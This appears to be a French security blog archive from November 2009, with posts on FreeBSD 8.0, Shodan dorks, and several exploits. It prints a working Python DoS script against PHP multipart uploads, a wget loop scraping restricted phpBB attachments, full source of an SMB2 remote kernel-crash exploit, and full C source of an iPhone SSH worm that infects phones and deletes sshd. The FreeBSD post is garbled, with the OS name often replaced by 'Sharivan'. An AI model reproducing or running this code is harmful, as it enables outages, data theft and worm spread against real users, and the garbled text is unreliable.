2009-11 Archives
30-11-2009 21:59:50
[FreeBSD] FreeBSD 8.0 RELEASE Out !
Ca fait longtemps que je n'avais pas écrit sur le meilleurs OS du monde mais la je suis un peu obligé.
Mesdames et Messieurs je vous annonce
la sortie de la FreeBSD 8.0 RELEASE ! Oui oui elle est là :)
Les lutins de GCU nous ont fait une belle traduction des nouveautés donc je vais vous les remettre ici :
FreeBSD > * <3 !
Les lutins de GCU nous ont fait une belle traduction des nouveautés donc je vais vous les remettre ici :
* Les jails V2 : Les jails (système de virtualisation en espace utilisateurs) se voient grandement améliorés. Sur le plan du réseau les jails supportent maintenant les adresses IPs multiples, l’IPv6 et le protocole SCTP(4). Désormais, il est possible d’assigner directement une jail à un CPU donné. Enfin il est aussi possible de faire tourner des jails 32bits sur un hôte 64bits. Le couplage avec ZFS permet une gestion particulièrement puissante des jails.Les jails v2 ont été portés sur la branche 7 de Sharivan ils sont donc disponibles sous Sharivan 7.2 et supérieur. * Support de Xen en domU : Bien qu’expérimental Sharivan peut maintenant tourner en tant que domU sur la solution de virtualisation xen, pour cela il faudra disposer d’une version récente de xen (>= 3.4) en dom0. * Support de VirtualBox : Les développeurs de Sharivan ont portés VirtualBox OSE, qui a fait son entrée dans les ports et est donc maintenant disponible sous Sharivan, avec le support des extensions CPU : amd-V et intel VT ainsi que le support complet du réseau. * ZFS(8) : zfs, toujours en version 13 a été largement revue par rapport au code disponible en version 7.2-RELEASE, il est désormais considéré comme “Production Ready”, il est aussi possible (via un mode d’installation non standard) de faire fonctionner un Sharivan en full ZFS. * gvinum(8) 2 : gvinum l’outil de gestion de volumes de freebsd passe en version 2 grâce au Google Summer of Code 2007. Il a été remis au niveau des standard actuel tout en restant compatible avec les versions précédentes. * GEOM_PART : Le nouvel outil de partitionnement de Sharivan se nomme désormais GEOM_PART (gpart(8)) cet outil support les partitions de type MBR, BSD et GPT, il combine des fonctionnalités de bsdlabel et fdisk mais est beaucoup plus simple et fonctionnel. * Boot sur du GPT : Il est désormais possible de démarrer Sharivan sur des partitions de type GPT sur les machines dont le bios supporte ce format. * 26 partitions BSD : Jusque là Sharivan ne reconnaissait que 8 Labels maximum par slice, cette limitation est maintenant de 26 partitions. * AHCI(4) : Un nouveau pilote AHCI fait partie des meubles, ce pilote permet d’accéder au matériel au travers de l’interface CAM. Il est désactivé par défaut (disponible quand même sous la forme de module). * Nouveau NFS : Le support du NFS a été revue afin de pouvoir bénéficier de NFSv4, de manière complète, un très gros travail a été accompli pour en arriver là entrainant le remplacement du serveur et client NFSv2 et NFSv3 dans la foulée. (nouveau nfs lock) * Wifi mesh : 802.11s D3.03 : Ajout du support de la topologie des réseaux maillés wifi. * Virtualisation de la couche réseau : La couche de virtualisation du réseau permet au noyau Sharivan de conserver de multiples instances indépendantes d’états réseaux. Les avantages apportés par cette virtualisation sont de pouvoir offrir aux jails, des interfaces réseaux virtuelles indépendantes et ainsi permettre de faire des configurations réseaux jusque là impossibles au sein d’une jail, IPSEC, firewall, etc. * Mode 0 copy pour bpf(4) : Berkeley Packet Filter est une fonctionnalité permettant de capturer les paquets réseaux suivant des règles de filtrage utilisateurs, de les renvoyer vers des applications, mais aussi d’en insérer directement. Dans cette nouvelle version, le nombre d’opération de copie mémoire entre le noyau et la partie applicative a été réduite, augmentant ainsi les performances dans de nombreux cas. * MPSAFE TTY : La nouvelle implémentation des TTY est indépendante des verrous géants améliorant ainsi les performances. * Meilleure gestion de la suppression à chaud des périphériques de stockages montés : Jusqu’a présent la suppression à chaud d’un périphérique de stockage monté provoquait un kernel panic, ce problème est désormais corrigé. * Augmentation de la limite de mémoire noyau en x86_64 : Certaines technologies récentes ont un important besoin de mémoire en espace noyau (ZFS en particulier). l’allocation maximum de mémoire possible pour le noyau est donc passé de 2Go à 512Go. * Support des threads noyaux : Le noyau supporte désormais les processus légers. Le passage à l’utilisation des processus légers apporte une réduction de la consommation des ressources bas niveau du système. * ULE 3.0 : Le nouveau scheduler sched_ule(4) de Sharivan en développement depuis les débuts de la version 5 s’est enfin vu stabilisé dans sa version 2.0 au sein de la branche 7-STABLE pour être activé par défaut dans Sharivan 7.1-RELEASE. La version 8.0 de Sharivan dispose d’une version encore améliorée de ce scheduler (version 3.0). * cpuset(2) : C’est un nouvelle fonctionnalité similaire à “processors sets” sur solaris, permettant d’assigner directement des processus à des “sets” de CPU. * ar(1) et ranlib(1) : Ces deux utilitaires basés sur libarchive(3) et sous licences BSD viennent remplacer ceux de binutils. Il s’agit la première étape du projet BSDBintools visant à remplacer les utilitaires issus de GNU binutils, projet lui même inclus dans le projet Elf tool chain projet visant à créer une implémentation BSD des utilitaires liés au format ELF en utilisant libelf et libarchive. * cpio(1) : GNU cpio est remplacé par une version sous licence BSD basée sur libarchive. * cp(1) : Ajout de l’option -a qui est équivalente aux options POSIX -RrP, ce qui améliore la compatibilité avec la version GNU de cp. * find(1) : la version de find a été mise à jour afin d’améliorer la compatibilité avec GNU find. * procstat(1) : Procstat est un nouvel utilitaire permettant d’accéder en ligne de commande aux informations sur les processus tournant sur le système. * fetch(3) et fetch(1) : la bibliothèque libfetch supporte désormais le protocole HTTP version 1.1, tandis qu’une nouvelle option -i pour l’utilitaire fetch dispose maintenant d’un option -i filename permettant de ne télécharger un fichier que si son contenu est plus récent que celui pointé par “filename”. * textdump(4) : En cas de crash kernel Textdump permet de capturer les informations de debug du noyau sous une forme humainement compréhensible facilitant ainsi les remontées de problèmes par les utilisateurs, les textdumps étant aussi plus légers que les core. * tar(1) : L’option -Z permet de compresser/décompresser les archives au format compress(1), l’option –numeric-owner permet d’ignorer les noms des utilisateurs et des groupes, l’option -s permet de modifier le noms des fichiers selon une expression régulière. * cpuset(1) : Ce nouvel utilitaire en espace utilisateurs permet de gérer les assignations de sets processeurs. * dtrace(1) : dtrace(1), le système de traces en temps réel créé par Sun a été ajouté dans Sharivan dans Sharivan 8.0 et répercuté sur les version 7-STABLE depuis la 7.1-RELEASE, il permet de détecter des problèmes et/ou tracer le noyau et les applications en environnement utilisateur et bien plus encore. * Nouvelle couche USB : La couche USB de Sharivan a été complètement revue pour cette nouvelle version, elle est maintenant beaucoup plus complète et moderne. Afin d’être de permettant un fonctionnement immédiat des logiciels utilisateurs nécessitant le support de l’USB, des bibliothèques “libusb” BSD compatibles avec les version 0.1 et 1.0 de la libusb ont été développées. * Import de makefs(8) : makefs a été importé de NetBSD, il s’agit d’un utilitaire permettant de créer une système de fichier a partir d’une arborescence sans avoir besoin de disposer des droits utilisateurs particuliers. * ProPolice SSP : Cette extension de GCC ayant pour but de détecter et d’empêcher les attaques par débordement de tampon est désormais activée par défaut.En résumé, tous à vos upgrade !
FreeBSD > * <3 !
25-11-2009 20:30:37
[Site] Shodan, un moteur de recherche de serveurs vulnerables ?
Dan le genre de site qui peut etre très pratique et efficace, je vous présente http://shodan.surtri.com.
Shodan est un moteur de recherche de serveurs comportant des bannières ou des services spécifiques. Ainsi il est possible de rechercher des serveurs utilisant un ftp ou encore une version de PHP particulière en triant par port, mot clé ou pays. Certes cela ne semble pas bien méchant et pourtant il est possible d'utiliser ce moteur de manière bien plus dangereuse.
Commencons par rechercher des serveurs telnet nous autorisant l'accès :
Recherchons maintenant des serveurs FTP anonymes :
Ce moteur est une vraie mine d'information pour tout pirate. D'ailleurs j'ai du mal à trouver un but autre que rechercher des vulnérabilités et des versions de serveurs deprecated. Pour l'instant les infos sont limitées mais si un scan plus poussif sur plus de ports et plus d'ip est fait, cela peut faire très mal! Y a juste à espérer de ne pas retrouver son serveur dans cette liste :)
Shodan est un moteur de recherche de serveurs comportant des bannières ou des services spécifiques. Ainsi il est possible de rechercher des serveurs utilisant un ftp ou encore une version de PHP particulière en triant par port, mot clé ou pays. Certes cela ne semble pas bien méchant et pourtant il est possible d'utiliser ce moteur de manière bien plus dangereuse.
Commencons par rechercher des serveurs telnet nous autorisant l'accès :
http://shodan.surtri.com/?q=port%3A23+built+inOn commence à comprendre qu'il est possible de faire des recherches à but d'attaques.
Recherchons maintenant des serveurs FTP anonymes :
http://shodan.surtri.com/?q=ftp+%22Anonymous+user+logged+in%22Il est possible de rechercher la page d'administration de routeur dd-wrt :
http://shodan.surtri.com/?q=port%3A80+200+OK+dd-wrtEnvi de trouver des pages d'administration ?
http://shodan.surtri.com/?q=port%3A80+adminDes résultats surprenants aussi en recherchant des interfaces web de routeurs ou switch CISCO en France :
http://shodan.surtri.com/?q=cisco+%22HTTP%2F1.0+200+OK%22+country%3AfrOn tombe directement sur des serveurs non protégés de switch ... Cela montre l'intégration et la configuration de certains administrateurs ...
Ce moteur est une vraie mine d'information pour tout pirate. D'ailleurs j'ai du mal à trouver un but autre que rechercher des vulnérabilités et des versions de serveurs deprecated. Pour l'instant les infos sont limitées mais si un scan plus poussif sur plus de ports et plus d'ip est fait, cela peut faire très mal! Y a juste à espérer de ne pas retrouver son serveur dans cette liste :)
22-11-2009 13:08:00
[Secu] PoC du PHP "multipart/form-data" DoS
Une mise à jour de PHP (5.3.1) a été publiée corrigeant quelques failles de sécurité dont la PHP "multipart/form-data" Denial of service
publié sur Full Disclosure. Cette vulnérabilité est due au fait
qu'en envoyant une requete POST avec de nombreux fichiers à envoyer, le système les crée en local et finit par chargé le serveur qui peut
jusqu'à un crash de l'OS car monte trop haut en charge.
Voulant tester cela j'ai codé un script en Python servant de PoC pour cette vulnérabilité. Ce code n'est la qu'à titre de PoC et je ne suis pas responsable de son utilisation. Voici le code :
Par ailleurs il est arrivé que le serveur ne supprime pas tous les fichiers temporaires et il est imaginable de saturer le disque dur du système.
Solution :
Pour se protéger de cette vulnérabilité, passez en version PHP 5.3.1 ou installez le Suhosin PHP extension ajoutant l'option suhosin.upload.max_uploads configuré par défaut à 25, ce qui empèche d'envoyer 65000 fichiers par requète comme mon script le fait.
Voulant tester cela j'ai codé un script en Python servant de PoC pour cette vulnérabilité. Ce code n'est la qu'à titre de PoC et je ne suis pas responsable de son utilisation. Voici le code :
#!/usr/bin/env python2.6 # # Program : PHP Multipart DoS # Description : PoC which DoS webserver running PHP < 5.3.1 # Author : cloud # Contact : <cloud@madpowah.org> # Website : http://blog.madpowah.org # Date : 21/11/2009 # ./phpmultidos.py <host> <nb of request> # # I'm not responsible of the use of this script ################################################# import httplib import mimetypes import sys import time from multiprocessing import Process def post_multipart(host, files): content_type, body = encode_multipart_formdata(files) h = httplib.HTTP(host) h.putrequest('POST', '/') h.putheader('content-type', content_type) h.putheader('content-length', str(len(body))) h.endheaders() h.send(body) return 1 def encode_multipart_formdata(files): BOUNDARY = '----------BOUNDARY_$' CRLF = '\r\n' L = [] for key in files: L.append('--' + BOUNDARY) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, key)) L.append('Content-Type: text') L.append('') L.append('ok') L.append('--' + BOUNDARY + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % BOUNDARY return content_type, body def generate_files(): files = [] for i in range(65000): files.append(str(i)) return files def thread_action(hostname, files): sys.stdout.write('.') sys.stdout.flush() post_multipart(hostname, files) try: print "PHP Multipart DoS by cloud : http://blog.madpowah.org" hostname = sys.argv[1] nb = int(sys.argv[2]) try: conn = httplib.HTTPConnection(hostname) conn.close except: print ">> This host seems to be down ..." sys.exit(1) print ">> Launching the attack ..." except: print "Utilisation: ./phpmultidos.py <host> <nb of request>" print "Exemple: ./phpmultidos.py www.example.com 80" sys.exit(1) files = generate_files() for num in range(nb): Process(target=thread_action, args=(hostname, files)).start() time.sleep(0.5) print "" print ">> Attack sent ... now Wait !"En le testant sur un système FreeBSD et Linux, le système monte en charge provoquant jusqu'à un DoS des applications Web PHP. Ceci est surtout visible si un forum est hébérgé. Je n'ai pas réussi à provoquer un crash complet du serveur mais je n'ai envoyé au max que peu de thread (80) car ma pauvre machine explose si je tente plus. Mais déjà avec juste 80 requètes, il est possible de créer un bon DoS qui dure assez longtemps (1h). Le site se retrouve inaccessible ou très lent.
Par ailleurs il est arrivé que le serveur ne supprime pas tous les fichiers temporaires et il est imaginable de saturer le disque dur du système.
Solution :
Pour se protéger de cette vulnérabilité, passez en version PHP 5.3.1 ou installez le Suhosin PHP extension ajoutant l'option suhosin.upload.max_uploads configuré par défaut à 25, ce qui empèche d'envoyer 65000 fichiers par requète comme mon script le fait.
22-11-2009 12:45:08
[Secu] 0day sur IE6 et IE7 pour Windows XP
Une vulnérabilité 0day a été annoncée par Vupen impactant IE6 et IE7 testée sur Windows XP SP3
entièrement patché. Cette vulnérabilité
permettrait de crasher le navigateur ou de faire exécuter du code arbitraire en exploitant certains styles (CSS) via la méthode
getElementsByTagName() qui permettrait d'exploiter une vulnérabilité dans Microsoft HTML Viewer (mshtml.dll) .
Solution proposée : Désactiver les Active Script.
Le lien vers l'avis de sécurité ici
Le lien vers le code du 0day.
Solution proposée : Désactiver les Active Script.
Le lien vers l'avis de sécurité ici
Le lien vers le code du 0day.
17-11-2009 00:45:29
[Tool] Bypass automatique Viadeo (Qui a visite votre profil?)
Je vous ai présenté comment voir qui a regarde votre profil Viadeo sans payer ?
il n'y a pas longtemps et bien
Jarod_ a eu la très bonne idée de développer un petit script pour Greasemonkey (plugin Firefox) afin que mon astuce s'applique
automatiquement lors de votre visite sur viadeo. Installer Greasemonkey puis le script et aller sur viadeo et le lien vers les images vous
conduira directement sur le profil :D
Pour installer le script, cliquez ici.
Merci Jarod_ !
Pour installer le script, cliquez ici.
Merci Jarod_ !
15-11-2009 14:21:12
[Secu] PhpBB - Confidentialite et fichiers joints = FAIL
PhpBB est un forum très utilisé et assez complet afin de communiquer. Celui ci possède une gestion des habilitations des
utilisateurs,
les découpants en modérateurs / administrateurs / users ou en groupe. Ensuite il est possible de ne laisser l'accès
qu'à certains types
d'utilisateurs ou aux utilisateurs de certains groupes aux sujets.
Cependant en fouillant un peu, j'ai constaté que tout n'était pas vraiment restreint et qu'il était possible d'obtenir des informations qui auraient à mon sens du etre non accessibles.
En effet il est possible de mettre en pièce jointe des fichiers aux messages. Ces fichiers sont ensuite accessibles via l'url :
Ainsi il est surement possible en récupérant toutes les pièces jointes de trouver des informations intéressantes qui n'auraient pas du etre vu par tout le monde :)
Voici un petit script permettant de récupérer 2000 pièces jointes rapidement :
Cependant en fouillant un peu, j'ai constaté que tout n'était pas vraiment restreint et qu'il était possible d'obtenir des informations qui auraient à mon sens du etre non accessibles.
En effet il est possible de mettre en pièce jointe des fichiers aux messages. Ces fichiers sont ensuite accessibles via l'url :
http://www.monsite.com/forum/download/file.php?id=XXXXJ'ai testé en ajoutant ce fichier dans un message réservé aux administrateurs du forum. Ensuite en me deloggant j'ai retapé la meme adresse ... et la ... on peut toujours télécharger le fichier ! Aucun controle d'habilitation n'est fait.
Ainsi il est surement possible en récupérant toutes les pièces jointes de trouver des informations intéressantes qui n'auraient pas du etre vu par tout le monde :)
Voici un petit script permettant de récupérer 2000 pièces jointes rapidement :
#!/usr/local/bin/bash i=0 while [ $i -le 2000 ] do wget -c http://www.monsite.com/forum/download/file.php?id=$i ((i += 1)) doneHave fun !
11-11-2009 19:36:39
[Secu] Remote Kernel Crash sur Windows7 et Server 2008R2
Laurent Gaffie a encore frappé sur le SMB. Un nouveau Remote Kernel Crash sur Windows 7 et Windows Server 2008 2 a été
publié sur son blog. Il avait
annoncé sur son Twitter développer un vrai Fuzzer pour SMB et voila chose faite de manière efficace contrairement
à Microsoft apparement.
Du coup une belle remote et une note signalant que Microsoft souhaitait que cette vulnérabilité reste cachée ...
Du coup une belle remote et une note signalant que Microsoft souhaitait que cette vulnérabilité reste cachée ...
X. REVISION HISTORY ------------------------- November 8th, 2009: MSRC contacted November 8th, 2009: MSRC acknoledge the vuln November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin. November 11th, 2009: Win 7 remote kernel smash releasedLe code source :
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop) #Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() #caused by an infinite loop. #NO BSOD, YOU GOTTA PULL THE PLUG. #To trigger it fast from the target: \\this_script_ip_addr\BLAH , instantlycrash #Author: Laurent Gaffié # import SocketServer packet = "\x00\x00\x00\x9a" # ---> length should be 9e not 9a.. "\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41" "\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00" "\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01" "\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20" "\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e" "\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" class SMB2(SocketServer.BaseRequestHandler): def handle(self): print "Who:", self.client_address input = self.request.recv(1024) self.request.send(packet) self.request.close() launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445 launch.serve_forever()Et la cerise sur le gateau, c'est qu'apparement d'autres remote exploits sont déjà prets :
XII.Personal Notes ------------------------- More Remote Kernel FD @MS to come.Aucun correctif pour l'instant donc désactivez SMB et bloquer le port 445 avec votre firewall ou changez d'OS.
08-11-2009 18:13:21
[Secu] Un vers sur Iphone !
Allez encore un petit article sur l'Iphone suite à la publication du code source d'un vers pour Iphone dont on a entendu
parlé
(voir article sur la Rancon). Ce vers scan une liste de réseaux prédéfinis, tente de se connecter via SSH et
s'il y arrive modifie
l'écran de veille de l'iphone contaminé et s'installe pour infecter d'autres iphones :)
Le code est disponible ici
Le code est disponible ici
// // iPhone default pass worm by ikex // // This code is CLOSED source. // And very hacky, i just needed it to work. // // Thanks to alan3423432432 haha for helping me work out my flaws in C // #include "main.h" int fdlock; // randHost(): Returns a random IP Address XXX.XXX.XXX.XXX char *randHost(void) { int x,y,z; char *retme; srand (time (0)); x=random() % 255; y=random() % 255; z=random() % 255; asprintf(&retme, "%i.%i.%i.", x,y,z); return retme; } // get_lock(): Sets/Gets the status of the file lock // located in /var/lock/bbot.lock int get_lock(void) { struct flock fl; fl.l_type = F_WRLCK; fl.l_whence = SEEK_SET; fl.l_start = 0; fl.l_len = 1; if((fdlock = open("/var/lock/bbot.lock", O_WRONLY|O_CREAT, 0666)) == -1) return 0; if(fcntl(fdlock, F_SETLK, &fl) == -1) return 0; return 1; } // getAddrRange(): Gets the phones 3G range + 2 // eg, 100.100.100.0-100.100.102.255 char *getAddrRange() { struct ifaddrs *ifaddr, *ifa; int family, s; char host[NI_MAXHOST]; if (getifaddrs(&ifaddr) == -1) { perror("getifaddrs"); exit(EXIT_FAILURE); } for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) { family = ifa->ifa_addr->sa_family; if (family == AF_INET) { if (family == AF_INET || family == AF_INET6) { s = getnameinfo(ifa->ifa_addr, (family == AF_INET) ? sizeof(struct sockaddr_in) : sizeof(struct sockaddr_in6), host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST); if (s != 0) { printf("getnameinfo() failed: %s\n", gai_strerror(s)); return "0.0.0.0-0.0.0.0"; } if (strcmp(ifa->ifa_name, "pdp_ip0") == 0) { syslog(LOG_DEBUG, ifa->ifa_name); syslog(LOG_DEBUG, host); char *wee[20]; tokenise(host, wee, "."); char *range; int octc = atoi(wee[2]); asprintf(&range, "%s.%s.%i.0-%s.%s.%i.255", wee[0], wee[1], octc, wee[0], wee[1], octc+2); return range; } } } } freeifaddrs(ifaddr); return "0.0.0.0-0.0.0.0"; } // From alan2349024 Sorry i suck at remembering numbers // Thanks dude! int tokenise (char input[], char *token[], char* spl) // Added sep param { char *tokens; int count = 0; tokens = strtok(input, spl);//Change TOKEN_SEPERATORS To What You Want To Seperate Off if(tokens[strlen(tokens) - 1] == '\n') tokens[strlen(tokens) - 1] = '\0'; token[count] = tokens; while(tokens != NULL) { count++; if( count > MAX_NUM )//change MAX_NUM_TOKENS To A Number return (-1); tokens = strtok(NULL, spl); if(tokens != NULL) { if(tokens[strlen(tokens) - 1] == '\n') tokens[strlen(tokens) - 1] = '\0'; } token[count] = tokens; } return count; } // Entry point. int main(int argc, char *argv[]) { //pid_t pid, sid; //char *subnet = randHost(); // syslog(LOG_DEBUG, "I should go, i feel like im interupting something ;]"); /* // FORK CODE REMOVED IT FUCKS WITH LaunchDaemon. pid = fork(); if (pid < 0) exit(EXIT_FAILURE); else if (pid > 0) exit(EXIT_SUCCESS); umask(0); sid = setsid(); */ if(get_lock() == 0) { syslog(LOG_DEBUG, "I know when im not wanted *sniff*"); return 1; } // Already running. sleep(60); // Lets wait for the network to come up 2 MINS syslog(LOG_DEBUG, "IIIIIII Just want to tell you how im feeling"); //char ipRange[256] = "120.16.0.0-120.23.255.255"; char *locRanges = getAddrRange(); char *lanRanges = "192.168.0.0-192.168.255.255"; // #172.16.0.0-172.31.255.255 Ehh who uses it char *vodRanges1 = "202.81.64.0-202.81.79.255"; char *vodRanges2 = "23.98.128.0-123.98.143.255"; char *vodRanges3 = "120.16.0.0-120.23.255.255"; char *optRanges1 = "114.72.0.0-114.75.255.255"; char *optRanges2 = "203.2.75.0-203.2.75.255"; char *optRanges3 = "210.49.0.0-210.49.255.255"; char *optRanges4 = "203.17.140.0-203.17.140.255"; char *optRanges5 = "203.17.138.0-203.17.138.255"; char *optRanges6 = "211.28.0.0-211.31.255.255"; char *telRanges = "58.160.0.0-58.175.255.25"; //char *attRanges = "32.0.0.0-32.255.255.255"; // TOO BIG syslog(LOG_DEBUG, "awoadqdoqjdqjwiodjqoi aaah!"); ChangeOnBoot(); KillSSHD(); // Local first while (1) { syslog(LOG_DEBUG, "Checking out the local scene yo"); scanner(locRanges); syslog(LOG_DEBUG, "Random baby"); int i; for (i=0; i <= 2; i++) { char *ipaddr = randHost(); char *rrange; asprintf(&rrange, "%s.0-%s.255", ipaddr, ipaddr); scanner(rrange); } // Lan syslog(LOG_DEBUG, "Lannnnn"); scanner(lanRanges); syslog(LOG_DEBUG, "VODAPHONE"); scanner(vodRanges1); scanner(vodRanges2); scanner(vodRanges3); syslog(LOG_DEBUG, "OPTUSSSS"); scanner(optRanges1); scanner(optRanges2); scanner(optRanges3); scanner(optRanges4); scanner(optRanges5); scanner(optRanges6); syslog(LOG_DEBUG, "Telstra"); scanner(telRanges); } } void scanner(char *ipRange) { char *wee[10]; char *begin[10]; char *end[10]; tokenise(ipRange, wee, "-"); int octaB, octaE, octbB, octbE, octcB, octcE; tokenise(wee[0], begin, "."); tokenise(wee[1], end, "."); octaB = atoi(begin[0]); // YYY.XXX.XXX.XXX octaE = atoi(end[0]); octbB = atoi(begin[1]); octbE = atoi(end[1]); octcB = atoi(begin[2]); octcE = atoi(end[2]); int loop1; for (loop1=octaB; loop1<=octaE; loop1++) { int loop2; for (loop2=octbB; loop2<=octbE; loop2++) { int loop3; for (loop3=octcB; loop3<=octcE; loop3++) { int loop4; for (loop4=0; loop4<=255; loop4++) { char* host; asprintf(&host, "%i.%i.%i.%i", loop1, loop2,loop3, loop4); //printf("\n\rScanning: %s", host); if (scanHost(host) == 0 && checkHost(host) == 0) // This will run scanHost THEN checkHost right? { syslog(LOG_DEBUG, "Oh a sheep!"); //printf("\n\r - %s is vulnerable", host); infectHost(host); } } } } } } // http://img41.imageshack.us/img41/730/asto.jpg int scanHost(char* host) { int res, valopt, soc; struct sockaddr_in addr; long arg; fd_set myset; struct timeval tv; socklen_t lon; soc = socket(AF_INET, SOCK_STREAM, 0); arg = fcntl(soc, F_GETFL, NULL); arg |= O_NONBLOCK; fcntl(soc, F_SETFL, arg); addr.sin_family = AF_INET; addr.sin_port = htons(22); addr.sin_addr.s_addr = inet_addr(host); res = connect(soc, (struct sockaddr *)&addr, sizeof(addr)); if (res < 0) { if (errno == EINPROGRESS) { tv.tv_sec = 10; tv.tv_usec = 0; FD_ZERO(&myset); FD_SET(soc, &myset); if (select(soc+1, NULL, &myset, NULL, &tv) > 0) { lon = sizeof(int); getsockopt(soc, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); if (valopt) { return -1; } } else { return -1; } } else { return -1; } } close(soc); return 0; // Set to blocking mode again... //arg = fcntl(soc, F_GETFL, NULL); //arg &= (~O_NONBLOCK); //fcntl(soc, F_SETFL, arg); } int checkHost(char *host) { syslog(LOG_DEBUG, host); FILE *in; extern FILE *popen(); char buff[512]; char *execLine; asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99'", VULN_PASS, host); if (!(in = popen(execLine, "r"))) { printf("Error is sshpass there?"); return -1; } while (fgets(buff, 2, in) != NULL ) { if (strcmp(buff, "99")) return 0; } pclose(in); return -1; // NOT VULN } int runCommand(char* command, char *host) { FILE *in; extern FILE *popen(); char buff[512]; char *execLine; // Really am to lazy to check this but im piling comands as so // command1; command2; command3; echo 99 // my belief is that if for instance command2 dies we wont hit the echo 99 // which will make us return -1 asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s ; echo 99'",VULN_PASS, host, command); if (!(in = popen(execLine, "r"))) { printf("Error is sshpass there?"); return -1; } while (fgets(buff, 2, in) != NULL ) { if (strcmp(buff, "99")) return 0; } pclose(in); return -1; } int prunCommand(char* command, char *host) { FILE *in; extern FILE *popen(); char buff[512]; char *execLine; asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s'",VULN_PASS, host, command); if (!(in = popen(execLine, "r"))) { printf("Error is sshpass there?"); return -1; } while (fgets(buff, sizeof(buff), in) != NULL ) { printf("%s",buff); } pclose(in); return -1; } int CopyFile(char* src, char* dst, char* host) { FILE *in; extern FILE *popen(); char buff[512]; char *execLine; asprintf(&execLine, "sshpass -p %s scp -o StrictHostKeyChecking=no ./%s root@%s:%s", VULN_PASS, src, host, dst); if (!(in = popen(execLine, "r"))) { printf("Error is sshpass there?"); return -1; } while (fgets(buff, sizeof(buff), in) != NULL ) {} asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'which %s'", VULN_PASS, host, dst); if (!(in = popen(execLine, "r"))) { printf("Error is sshpass there?"); return -1; } while (fgets(buff, 2, in) != NULL ) { if (strcmp(buff, dst)) return 0; } pclose(in); return -1; } int ChangeOnBoot() { FILE *in; extern FILE *popen(); if (!(in = popen("cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/LockBackground.jpg", "r"))) { return -1; } return 0; } int KillSSHD() { FILE *in; extern FILE *popen(); if (!(in = popen("rm -f /usr/sbin/sshd; killall sshd", "r"))) { return -1; } return 0; } int infectHost(char *host) { // Copy myself to them // run as startup if (runCommand("uname -n", host) == 0) { //printf("\n\r - Infecting: "); prunCommand("uname -n", host); prunCommand("rm /bin/sshpass", host); prunCommand("rm /bin/poc-bbot", host); //prunCommand("killall poc-bbot", host); if (CopyFile("/bin/poc-bbot", "/bin/poc-bbot", host) == 0 && CopyFile("/bin/sshpass", "/bin/sshpass", host) == 0) { //printf(" - Replicated successfully"); prunCommand("rm /var/mobile/Library/LockBackground.jpg; echo \"\r\n - Removed old background\"", host); // Revision 3 - idea from nevermore! // This way dipshits wont delete my stuff CopyFile("/var/log/youcanbeclosertogod.jpg", "/var/mobile/Library/LockBackground.jpg", host); CopyFile("/var/log/youcanbeclosertogod.jpg", "/var/log/youcanbeclosertogod.jpg", host); //CopyFile("/var/mobile/Library/LockBackground.jpg", "/var/mobile/Library/LockBackground.jpg", host); // We aren't installing an app. //printf(" - Background set (ast.jpg)."); CopyFile("/System/Library/LaunchDaemons/com.ikey.bbot.plist", "/System/Library/LaunchDaemons/com.ikey.bbot.plist", host); prunCommand("launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist", host); // I didn't want to have to do this. prunCommand("rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload /Library/LaunchDaemons/com.openssh.sshd.plist", host); prunCommand("killall sshd", host); //printf("\n\r - Program set to startup on boot"); //prunCommand("reboot", host) //printf("\n\r - Rebooting phone!"); //CopyFile("ngtgyu.m4r", "/var/mobile/ngtgyu.m4r", host); //printf("\n\r - Ringtone set (ngtgyu.m4r)."); } } return 0; } // END
05-11-2009 00:47:00
[Secu] La mort de str0ke etait un Hoax !
Aujourd'hui une terrible nouvelle a frappé l'univers de la sécurité avec l'annonce de la mort de str0ke sur ce site.
Sauf que cette annonce est en réalité un Hoax ! On a tout d'abord vu une annonce sur le twitter de str0ke signalant :
On peut donc alors se demander mais pourquoi cet Hoax ?
str0ke est le mainteneur du très célèbre site Milw0rm. Celui ci récupère et publie depuis plusieurs années les exploits développés par tout hacker. Une confiance a été accordée à ce site par la communauté de par l'origine et le sérieux du travail fourni pour publié cela. Cependant ces exploits ont une grosse valeur et pourraient etre gardés secret et utilisés à des fins néfastes si récupérés.
Un exemple de site suspicieux qui pourrait profiter de l'arret de milw0rm est Inj3ct0r. Ce site paru lors du 1er arret de milw0rm est une copie conforme donnant la sensation d'etre un site de phishing.
L'objectif du site est identique à milw0rm sauf que nous ne connaissons pas ses propriétaires. En creusant un peu on obtient ceci :
De plus :
